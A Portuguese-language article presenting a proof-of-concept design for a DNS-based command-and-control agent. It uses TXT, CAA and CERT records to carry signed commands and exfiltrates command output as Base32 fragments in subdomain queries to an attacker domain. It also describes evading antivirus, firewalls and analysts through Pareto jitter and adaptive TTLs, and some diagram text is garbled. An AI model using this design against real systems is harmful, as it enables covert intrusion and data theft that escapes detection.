Essa é uma PoC de um agente de execução remota via C2. A ideia inicial desse agente é ser o mais simples possível e parecer inofensivo à primeira vista. Observe que, neste post, não irei apresentar detalhes dos vetores para fazer com que o usuário baixe e execute o agente em modo administrador. Apresentarei apenas a forma como ele pode burlar sistemas de segurança automatizados (como antivírus, scanners, firewalls, entre outros) e como pode passar despercebido por profissionais de TI que talvez não estejam tão atentos ao conjunto total do tráfego de rede do alvo.
Vamos, primeiramente, explicar o que é um agente de C2 ou Beacon, se preferir. É basicamente uma aplicação que, sozinha, não faz nada muito aparente, mas fica à espera de comandos vindos de um terminal remoto (C2). Esse terminal pode ser acessado de várias formas, seja por requisições HTTP, transações em redes de blockchain, padrões de pacotes TCP, ondas sonoras captadas através do microfone do dispositivo infectado, entre diversas outras. A que utilizaremos nesta PoC é a que faz parte da minha especialização: consultas DNS.
O que é DNS?
O DNS, Domain Name System, é o sistema que converte nomes de domínio legíveis por pessoas em endereços IP entendidos por máquinas. Ele organiza o espaço de nomes de forma hierárquica e distribuída, delegando a responsabilidade por cada domínio a servidores autoritativos específicos. Quando um programa precisa acessar um serviço identificado por um nome, ele solicita ao resolvedor local a resolução desse nome. O resolvedor pode responder a partir de cache ou iniciar uma sequência de consultas a servidores raiz, servidores de domínios de nível superior e, por fim, aos servidores autoritativos até obter a resposta final.
Os componentes principais são o resolvedor, os servidores recursivos, os servidores autoritativos e os servidores raiz e TLD. O resolvedor faz a interface com o cliente e guarda respostas em cache. Os servidores recursivos executam a busca completa das respostas quando não as têm em cache. Os servidores autoritativos mantêm os registros oficiais de um domínio e respondem pelas zonas que administram. Os servidores raiz e os servidores de TLD atuam como pontos de delegação na hierarquia, encaminhando consultas para as zonas subsequentes até encontrar o servidor autoritativo correto.
Registros DNS armazenam tipos distintos de informação. Registros A e AAAA associam nomes a endereços IPv4 e IPv6 respectivamente. Registros CNAME apontam um nome para outro nome. Registros NS indicam quais servidores são autoritativos para uma zona. Registros MX especificam servidores de correio. Registros TXT carregam texto arbitrário utilizado para verificações e metadados. Registros CAA listam autoridades de certificação autorizadas a emitir certificados para o domínio. O registro SOA contém parâmetros da zona, incluindo versão e informações de sincronização entre servidores. Cada registro traz um TTL que determina por quanto tempo a resposta pode ser mantida em cache por resolvedores intermediários.
Endereços IPv4/IPv6] A --> C[CNAME
Apelidos] A --> D[MX
Correio eletrônico] A --> E[NS
Servidores Autoritativos] A --> F[TXT
Verificações e metadados] A --> G[CAA
Certificação] A --> H[SOA
Parâmetros e sincronização]
A resolução pode ser recursiva ou iterativa. Na resolução recursiva o resolvedor aceita a responsabilidade de obter a resposta completa e devolvê-la ao cliente. Na resolução iterativa o servidor responde com a melhor indicação disponível, normalmente apontando para outro servidor mais próximo da autoridade sobre a zona requisitada, e o cliente decide como prosseguir. O protocolo DNS usa preferencialmente UDP para consultas por ser mais leve, e utiliza TCP como fallback para respostas muito grandes ou para transferência de zona entre servidores.
Como isso irá funcionar no C2?
Agora vamos para a parte da topologia/arquitetura do C2. Como ele vai saber para onde apontar? Quais registros buscar? Como saber se eles são autênticos e não uma tentativa de desativar os agentes? Como garantir a funcionalidade mesmo que o domínio principal caia?
Como ele vai saber para onde apontar?
Pode ser feito de várias formas — a margem de lugares onde essa informação pode ser armazenada é gigantesca. Eu poderia procurar alguns padrões de repetição em alguma informação histórica e implementar a lógica de busca no código-fonte do agente para segui-la; assim, poderia registrar os novos domínios quando o principal caísse — aqui a criatividade é o limite. Mas, confesso, preferi poupar tempo e usar a mesma lógica de um projeto real passado, em que posso usar o registro CAA para definir uma lista de domínios que o agente pode armazenar localmente para quando o domínio principal for comprometido ou derrubado.
Agora talvez você esteja se perguntando por que escolhi o CAA em vez do TXT, que é muito mais flexível e permite armazenar mais informações, talvez até alguns parâmetros de configuração. Bem, preferi o CAA por ser um registro mais discreto. O TXT, quando visto em logs, acaba despertando a curiosidade de técnicos de TI para verificar o que veio — afinal, TXT = texto — e a curiosidade humana é meio previsível. Já o CAA é mais “discreto” aos olhos, muitas vezes ignorado por parecer ser apenas aquelas consultas rápidas dos navegadores para verificar a validade de um certificado. Mesmo que o CAA não sirva para isso, ele pode causar essa impressão quando visto desatentamente ou por profissionais pouco experientes. E é com isso que estou contando! Além disso, o CAA geralmente só é consultado por CAs, então raramente tem regras de análise ou bloqueio por parte de firewalls DNS (como o NextDNS e outros).
Quais registros buscar?
Como já mencionei anteriormente, o primeiro registro a buscar é o CAA, mas, mesmo que eu não vá usar o TXT para a lista de domínios reserva, ainda posso usá-lo para expor os comandos que quero que o agente execute. Por isso, esses são os dois registros principais, mas há mais um!
CERT
O registro CERT que usaremos como lugar para publicar a assinatura do payload presente no TXT.
Comandos e payload"] C --> CERT["CERT
Assinatura do payload TXT
(RR type 37)"] TXT --> Verif["Verificação da assinatura
(decodifica e valida com chave pública)"] CERT --> Verif Verif --> A classDef verde fill:#e8f5e9,stroke:#43a047,stroke-width:2px,color:#1b5e20 classDef laranja fill:#fff3e0,stroke:#fb8c00,stroke-width:2px,color:#e65100 class TXT verde class CERT laranja
- CERT (RR type 37): contém o blob (campo certificate/CRL) que, neste esquema, armazenará a assinatura (bytes) do payload TXT. O agente vai obter esse blob, base64-decodá-lo e verificar com a chave pública embutida.
Ordem e lógica de resolução do agent
- Determinar o nome a consultar
O agente tem um nome/config base (por ex.
cmd.hackerfofo.com). - Consultar DNSSEC
Resolve com validação DNSSEC local ou via resolver confiável (DoT/DoH com resolvers que façam validação).
- Buscar TXT (payload)
TXT→ extrai JSON canônico (payload_json). Garantir que o agent trate concatenação de strings TXT. - Buscar CERT (assinatura)
CERT→ extrair campocertificate(representado normalmente em base64 no painel). - Decodificar assinatura
signature_bytes = base64.b64decode(cert_field) - Verificar assinatura
Usar chave pública embutida:
verify(payload_bytes, signature_bytes). Rejeitar se inválida. - Anti-replay / validade Verificar campos
ts,seq,nonce. Regras típicas:tsdentro de janela aceitável (p.ex. ±5 minutos) outs <= now + skewdependendo do fluxo.seq>last_seq_executed(persistir localmente).noncenão repetido (manter cache curto de nonces).
- Executar / Enfileirar Se todas as validações passarem, enfileirar o comando para execução.
Como o CERT será representado na zona:
A sintaxe textual de um CERT RR segundo RFC 4398 é:
<cert-type> <key-tag> <algorithm> "<base64-certificate-or-CRL>". Aqui usaremos o campo base64 para armazenar o blob da assinatura.
Exemplo:
; payload em TXT
cmd1.hackerfofo.com. 60 IN TXT "cmd={"cmd":"restart","nonce":"n7X2a","seq":42,"ts":1730509200}"
; assinatura do payload no CERT
cmd1.hackerfofo.com. 60 IN CERT 5 0 0 "BASE64_OF_SIGNATURE" - TTL curto (ex.: 60s) para comandos efêmeros.
5 0 0são placeholders para cert-type/key-tag/algorithm; o agente não depende desses valores para verificar, pois usa a chave pública embutida.
Como o Agente Executa o Comando e Retorna o Resultado?
Uma vez que o agente (Beacon) conseguiu resolver e validar a assinatura do payload no registro TXT, a próxima etapa crítica é executar o comando e (prioritariamente) exfiltrar o resultado de volta para o servidor C2.
Exfiltração de Dados via DNS
O poder do C2 sobre DNS está na natureza da comunicação: a requisição é a nossa banda de download (o comando), e a resposta do agente é a nossa banda de upload (o resultado).
Passo 1: Codificação do Resultado
O resultado da execução do comando (por exemplo, a saída de um whoami ou a listagem de arquivos de um dir) é frequentemente texto arbitrário. Para encapsular esse texto em uma consulta DNS, ele precisa ser primeiramente codificado.
O método mais comum e robusto é a codificação Base32 por apresentar um charset menor e ser mais amigável a restrições de nome de domínio do que o Base64. O nome de domínio completo (Fully Qualified Domain Name - FQDN) de uma consulta DNS tem um limite de 255 bytes, e cada segmento (label) tem um limite de 63 bytes.
Além da codificação, o agente precisa fragmentar o payload de resposta em pedaços que respeitem o limite de 63 bytes por label e 255 bytes no total, adicionando metadados de controle.
Passo 2: Estrutura da Consulta de Resposta
Cada consulta de upload gerada pelo agente será um subdomínio estruturado, garantindo que o servidor C2 saiba a qual sessão e qual fragmento de dado ele pertence.
Um FQDN de resposta pode seguir esta estrutura:
<frag_id>.<sessao_id>.<hash_de_integridade>.<base_cmd_id>.<domínio_c2>
| Campo | Descrição | Exemplo |
|---|---|---|
frag_id | Identificador sequencial do fragmento (00, 01, 02…). | 03 |
sessao_id | Identificador único da sessão do agente. | a4b2c8 |
data | O pedaço do resultado (fragmento) codificado em Base32. | NBSXG4ZANE |
base_cmd_id | ID do comando original (do TXT) ao qual a resposta se refere. | c42 |
| Descrição | Exemplo |
|---|---|
| Exemplo final de consulta: | 03.a4b2c8.NBSXG4ZANE.c42.c2.hackerfofo.com |
O agente então resolve esse FQDN, disparando a consulta para o resolvedor local, que a encaminhará para o servidor autoritativo sob nosso controle (o servidor C2).
O servidor C2, por sua vez, ao receber uma consulta malformada ou com labels que excedem o padrão esperado, sabe que está recebendo dados. Ele não retorna uma resposta A ou TXT normal; ele apenas loga o FQDN e envia uma resposta vazia ou um NXDOMAIN (domínio não existente) para evitar loops e manter a discrição.
Lógica de Resposta e Anti-Replay para Uploads
Para garantir a confiabilidade da exfiltração, algumas validações devem ser implementadas:
- Ordem e Confirmação (
ACK): O agente só deve enviar o próximo fragmento após receber um ACK implícito (umNXDOMAINou resposta vazia, sinalizando que a consulta anterior foi recebida) ou um ACK explícito (uma resposta codificada no RR, embora isso aumente a assinatura de tráfego). - Limite de Retransmissão: Caso uma resposta de
uploadfalhe, o agente tenta retransmitir por um número limitado de vezes antes de descartar o fragmento. - Fragmento Final: O último fragmento deve conter um label específico ou um código de fim de transmissão (
00.a4b2c8.END.c42.c2.hackerfofo.com) para que o servidor C2 saiba que a mensagem está completa, podendo então decodificar e remontar o resultado.
Arquitetura do C2 (Servidor) – O Outro Lado
O agente é apenas metade da equação. O servidor C2 é o componente crucial responsável pela geração de comandos, pela manipulação da zona DNS e pela remontagem das respostas.
Nossa arquitetura C2 é composta por dois módulos principais:
- Painel de Controle e Validação (Frontend/API): Onde o pentester insere os comandos, e onde a lógica de validação de assinatura acontece para a criação de novos registros DNS.
- Servidor DNS Autoritativo Personalizado (Backend): Um servidor DNS modificado (como Bind ou Unbound com plugins ou um listener em Python/Go personalizado) configurado para ser autoritativo para o domínio
hackerfofo.com. Este é o componente que realmente interage com o agente, logando as consultasuploade retornando as respostasdownload(oTXTeCERT).
O Fluxo de Comando (Recapitulação e Detalhe)
| Etapa | Componente | Ação | Registro DNS Envolvido |
|---|---|---|---|
| 1. Criar Comando | Painel C2 | Pentester insere: tasklist /svc. O Painel gera a assinatura (CERT), payload (TXT), nonce e seq. | TXT e CERT |
| 2. Publicar | Servidor DNS Autoritativo | O Painel atualiza a zona DNS (cmd.hackerfofo.com) com os novos registros TXT e CERT. | TXT e CERT |
| 3. Download do Comando | Agente Vítima | Agente desperta, consulta cmd.hackerfofo.com. Valida DNSSEC, CERT, seq, ts. | TXT e CERT |
| 4. Execução | Agente Vítima | Comando tasklist /svc é executado localmente. Resultado obtido. | N/A |
| 5. Exfiltração (Upload) | Agente Vítima | O agente fragmenta o resultado e envia consultas A sequenciais: 00.<sessao>.<fragmento>.c2.hackerfofo.com. | Consulta A (logada) |
| 6. Remontagem | Servidor DNS Autoritativo | O listener personalizdo (Backend) registra todas as consultas de upload, sinaliza NXDOMAIN ou resposta vazia, e envia os dados para o Painel para remontagem e decodificação. | NXDOMAIN / Log |
| 7. Resultado Final | Painel C2 | Pentester vê o resultado de tasklist /svc. | N/A |
Próximos Passos na Implementação
A parte mais complexa agora é codificar o listener do servidor DNS para ser capaz de identificar as consultas de upload (00.<sessao>...), extrair os dados Base32 e ignorar as consultas legítimas (como o Google ou outros resolvers legítimos consultando registros normais). A discrição é fundamental, e o servidor deve saber responder a consultas normais de forma correta para não despertar suspeitas.
O Otimizador de TTL, Jitter e Frequência Baseado em Estatística de Cauda Longa
A detecção de um Command and Control (C2) por DNS é predominantemente feita pela análise de duas métricas que quebram o “ruído” estatístico de fundo:
- Frequência e Periodicidade (Beaconing): Consultas com intervalos de tempo fixos (e.g., a cada 30 segundos) são altamente anômalas.
- Padrão de TTL: O uso de TTLs muito curtos ou uniformes gera picos de consultas que não são típicos de navegação normal.
Para contornar isso, empregaremos um modelo estatístico que gera uma distribuição de consultas que beira o ruído branco, ou imita o tráfego de aplicações legítimas. O foco é matematicamente simular o comportamento de tráfego de rede “normal” para camuflar o padrão de beaconing.
1. O Jitter Otimizado: Distribuição de Cauda Longa (Heavy-Tail)
Em vez de usar um jitter simples, utilizaremos uma distribuição de cauda longa, idealmente a Distribuição de Pareto (ou lei de potências, representada pelo termo 1/xα, onde α é o índice de Pareto).
Se P é o intervalo de beaconing (o tempo entre consultas), a probabilidade de um grande intervalo de tempo P seguir esta distribuição é dada por:
P(X ≥ p) = ( p_min / p )^α, onde α ∈ (1, 2)
- p_min: O intervalo mínimo de beaconing em segundos.
- α: O índice de Pareto, controlando a “espessura” da cauda longa.
A maior parte dos beacons ocorrerá rapidamente, mas periodicamente ocorrerão intervalos muito grandes. Isso simula o tráfego humano e destrói modelos de detecção baseados em periodicidade fixa, pois o padrão não é cíclico.
2. Otimização do TTL via Média Móvel Exponencial (EWMA)
O servidor C2 deve implementar um TTL dinâmico (Time To Live), adaptado à frequência de consulta observada do Resolvedor DNS do alvo. Usaremos a Média Móvel Exponencial (EWMA) para suavizar a taxa de consulta e calcular um TTL que mascare a frequência real.
A taxa de requisição observada (EWMA_rate) é calculada recursivamente:
EWMA_rate = α · NewRate + (1 - α) · OldEWMA_rate
- NewRate: A taxa média (consultas/segundo) observada no último período.
- α: Fator de suavização, controlando a sensibilidade às mudanças.
O TTL é então ajustado para ser inversamente proporcional à taxa de consulta observada, com limites de segurança para evitar falhas de comunicação:
TTL_otimizado = max ( [ 1 / min(EWMA_rate, R_max) ] · [ L / Avanço ], TTL_mínimo )
O TTL se torna uma variável de controle. Em tráfego baixo, o TTL é elevado (cache por mais tempo, menos volume de consultas). Em picos de upload, o TTL é reduzido de forma controlada, equilibrando a velocidade de exfiltração com a necessidade de manter uma assinatura de tráfego variável e incoerente com um padrão fixo.
3. Ocultação do Tráfego de Resposta (Upload)
Para mitigar a detecção pela proporção assimétrica de tráfego (o alto volume de consultas de upload), o agente implementa:
- Filtro de Bloom (Probabilístico): Usado para cache de nonces. Sua alta eficiência em memória é crucial para evitar consultas redundantes de comandos, reduzindo o tráfego de
TXTdesnecessário. - Supressão por Resultado Vazio: Se o comando não gerar saída útil, o agente deve suprimir o tráfego de upload e aplicar o próximo intervalo P da distribuição de Pareto. Isso essencialmente dissolve o tráfego de exfiltração dentro do ruído estatístico de fundo do jitter de download.
Dos Autores
André Ribas
Contribuições: Responsável pela revisão geral do artigo, precisão dos termos técnicos do DNS e elaboração dos flowcharts e diagramas de arquitetura (Topologia/Arquitetura do C2).
Afiliação: Técnico em Defesa Cibernética Ofensiva na Likn Security.
Sarah Maia
Contribuições: Responsável pela parte matemática avançada (Distribuição de Pareto e EWMA) e pelas técnicas sobre assinaturas digitais (uso do registro CERT e validações de Anti-Replay).
Afiliação: Estudante de Exatas e Técnica Júnior em Defesa Cibernética na VintageSec.
